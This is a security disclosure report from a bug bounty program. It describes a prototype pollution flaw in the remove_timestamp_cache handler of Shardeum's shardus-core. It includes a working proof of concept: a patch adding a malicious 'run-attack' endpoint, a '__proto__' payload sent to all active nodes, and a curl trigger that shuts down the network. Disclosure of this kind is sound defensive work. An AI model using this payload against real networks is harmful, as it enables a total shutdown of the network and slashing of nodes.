34201 - [BC - Critical] Prototype pollution vulnerability in remove_tim...

Submitted on Aug 6th 2024 at 17:59:45 UTC by @periniondon630 for Boost | Shardeum: Core

Report ID: #34201

Report type: Blockchain/DLT

Report severity: Critical

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

Description

Brief/Intro

A prototype pollution vulnerability has been discovered in the remove_timestamp_cache handler of the state-manager module. This vulnerability allows an attacker to manipulate the Object prototype, potentially leading to active node shutdown, slashing of the active node for early leave. If exploited in production/mainnet, this flaw could cause significant disruption and compromise the security of the system.

Vulnerability Details

The vulnerability exists in the following code snippet:

this.p2p.registerInternal(
  'remove_timestamp_cache',
  async (
    payload: TimestampRemoveRequest,
    respond: (result: boolean) => unknown
  ) => {
    const { txId, receipt2, cycleCounter } = payload
    /* eslint-disable security/detect-object-injection */
    if (this.txTimestampCache[cycleCounter] && this.txTimestampCache[cycleCounter][txId]) {
      // remove the timestamp from the cache
      delete this.txTimestampCache[cycleCounter][txId]
      this.txTimestampCache[cycleCounter][txId] = null
      /* prettier-ignore */ this.mainLogger.debug(`Removed timestamp cache for txId: ${txId}, timestamp: ${Utils.safeStringify(this.txTimestampCache[cycleCounter][txId])}`)
      nestedCountersInstance.countEvent('consensus', 'remove_timestamp_cache')
    }
    await respond(true)
  }
)

The payload parameter can be crafted to include special properties such as __proto__, allowing an attacker to manipulate the Object prototype. The following exploit demonstrates this vulnerability:

Context.network.registerExternalGet('run-attack', async (req, res) => {
  const payload = { txId: 'hasOwnProperty', receipt2: 'lorem', cycleCounter: '__proto__' }
  for (const node of activeByIdOrder) {
    await this.p2p.tell([node], 'remove_timestamp_cache', payload)
  }
})

By sending a payload with cycleCounter set to __proto__ and txId set to hasOwnProperty, an attacker can modify the prototype of all objects, causing unexpected behaviors and potential application crashes.

Impact Details

The potential impacts of this vulnerability are severe and include:

  • complete network shutdown, which demonstrates by exploit

  • slashing active node by early leave penalty.

References

Proof of concept

  • Set up and launch a test Shardeum network.

  • Apply the following patch to the shardus-core repository to introduce a malicious node:

diff --git a/src/state-manager/index.ts b/src/state-manager/index.ts
index f22738cf..a189e16e 100644
--- a/src/state-manager/index.ts
+++ b/src/state-manager/index.ts
@@ -2169,6 +2169,13 @@ class StateManager {
       binaryGetAccountQueueCountHandler.handler
     )

+    Context.network.registerExternalGet('run-attack', async (req, res) => {
+        const payload = { txId: 'hasOwnProperty', receipt2: 'lorem', cycleCounter: '__proto__' }
+        for (const node of activeByIdOrder) {
+            await this.p2p.tell([node], 'remove_timestamp_cache', payload)
+        }
+    })
+
     Context.network.registerExternalGet('debug_stats', isDebugModeMiddleware, (_req, res) => {
       const cycle = this.currentCycleShardData.cycleNumber - 1
  • Build and run your malicious node; it will be capable of attacking and shutting down the network.

  • Wait until malicious node will become active.

  • Initiate the attack from the malicious node using the following curl command:

curl 'http://<MALICIOUS_NODE_IP>:<EXTERNAL_PORT>/run-attack'
  • The exploit code will iterate through all active nodes in the network and shut them down.

  • Wait until all nodes appear red on the monitor webpage, indicating they are offline.

  • Check the logs (e.g., fatal logs) to confirm that nothing can be processed.

Last updated